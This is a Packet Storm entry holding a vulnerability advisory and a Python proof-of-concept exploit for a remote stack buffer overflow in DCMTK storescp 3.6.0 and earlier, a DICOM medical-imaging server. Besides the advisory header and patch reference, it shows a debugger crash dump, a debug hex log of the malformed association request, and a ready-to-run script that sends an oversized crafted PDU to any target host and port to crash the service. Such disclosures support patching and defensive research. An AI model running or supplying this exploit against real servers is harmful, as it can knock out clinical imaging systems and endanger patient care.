DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow

2016-12-16T00:00:00
ID PACKETSTORM:140191
Type packetstorm
Reporter LiquidWorm
Modified 2016-12-16T00:00:00

Description

                                        
                                            `#!/usr/bin/env python  
# -*- coding: utf8 -*-  
#  
#  
# DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow  
#  
#  
# Vendor: OFFIS e. V.  
# Product web page: http://www.dcmtk.org  
# Affected version: <= 3.6.0  
# Not affected: DCMTK-3.6.1_20160216 - https://github.com/commontk/DCMTK/commit/1b6bb76  
#  
# http://www.idoimaging.com/programs?order=program.rdate&  
#  
# Summary: DCMTK is a collection of libraries and applications implementing large  
# parts the DICOM standard. It includes software for examining, constructing and  
# converting DICOM image files, handling offline media, sending and receiving images  
# over a network connection, as well as demonstrative image storage and worklist  
# servers. DCMTK is is written in a mixture of ANSI C and C++. It comes in complete  
# source code and is made available as "open source" software.  
#  
# Desc: "At several places in the code a wrong length of ACSE data structures received  
# over the network can cause overflows or underflows when processing those  
# data structures. Related checks have been added at various places in order  
# to prevent such (possible) attacks. Thanks to Kevin Basista for the report."  
#  
# The bug will indeed affect all DCMTK-based server applications that accept incoming  
# DICOM network connections that are using the dcmtk-3.6.0 and earlier versions.  
# Developers are advised to apply the patched-DCMTK-3.6.1_20160216 fix commit from  
# Dec 14, 2015.  
#  
# ---------------------------------------------------------------------------------  
#  
# Process 27765 stopped  
# * thread #1: tid = 0x3e4b46, 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x10380001b)  
# frame #0: 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325  
# storescp`parsePresentationContext:  
# -> 0x1000a6f1d <+3325>: movb (%rax), %al  
# 0x1000a6f1f <+3327>: movzbl %al, %eax  
# 0x1000a6f22 <+3330>: cmpl $0x40, %eax  
# 0x1000a6f25 <+3333>: movl %eax, -0xa74(%rbp)  
# (lldb) re r  
# General Purpose Registers:  
# rax = 0x000000010380001b  
# rbx = 0x0000000000000000  
# rcx = 0x00000001002d40f0 vtable for log4cplus::spi::AppenderAttachable + 16  
# rdx = 0x0000000000000010  
# rdi = 0x00007fff5fbf78a0  
# rsi = 0x3f7bc30000000000  
# rbp = 0x00007fff5fbf7b30  
# rsp = 0x00007fff5fbf7030  
# r8 = 0x0000000100733918  
# r9 = 0x00000000003e4b46  
# r10 = 0x0000000100733920  
# r11 = 0xffffffff00000000  
# r12 = 0x0000000000000000  
# r13 = 0x0000000000000000  
# r14 = 0x0000000000000000  
# r15 = 0x0000000000000000  
# rip = 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325  
# rflags = 0x0000000000010246  
# cs = 0x000000000000002b  
# fs = 0x0000000000000000  
# gs = 0x0000000000000000  
#  
# (lldb)  
#  
# =====  
#  
# a bin ./storescp -d 4242  
# D: $dcmtk: storescp v3.6.0 2011-01-06 $  
# D:   
# D: setting network receive timeout to 60 seconds  
# D: PDU Type: Associate Request, PDU Length: 32881 + 6 bytes PDU header  
# D: Only dumping 512 bytes.  
# D: 01 00 00 00 80 71 00 01 00 00 4f 52 54 48 41 4e  
# D: 43 20 20 20 20 20 20 20 20 20 54 45 53 54 53 55  
# D: 49 54 45 00 00 00 00 00 00 00 00 00 00 00 00 00  
# D: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
# D: 00 00 00 00 00 00 00 00 00 00 10 00 00 15 31 2e  
# D: 32 2e 38 34 30 2e 31 30 30 30 38 2e 33 2e 31 2e  
# D: 31 2e 31 20 00 80 00 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41  
# D:   
# D: Parsing an A-ASSOCIATE PDU  
# [1] 25553 segmentation fault ./storescp -d 4242  
# a bin   
#  
# ---------------------------------------------------------------------------------  
#  
# Tested on: Microsoft Windows 7 Professional SP1 (EN)  
# Microsoft Windows 7 Ultimate SP1 (EN)  
# MacOS X 10.12.2 Sierra  
# Linux Ubuntu 14.04.5  
# FreeBSD 10.3  
#  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
# @zeroscience  
#  
#  
# Advisory ID: ZSL-2016-5384  
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5384.php  
#  
#  
# 22.11.2016  
#  
  
  
import socket, sys  
  
hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'  
'\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'  
'\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'  
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'  
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'  
'\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'  
'\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'  
'\x31\x20\x00\x80\x00')  
  
bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'  
'\x52\x00\x00\x00')  
  
buffer = '\x41\x42\x43\x44' * 10000  
  
if len(sys.argv) < 3:  
print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'  
print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 4242\n'  
sys.exit(0)  
  
host = sys.argv[1]  
port = int(sys.argv[2])  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
connect = s.connect((host, port))  
s.settimeout(251)  
s.send(hello+buffer+bye)  
s.close  
`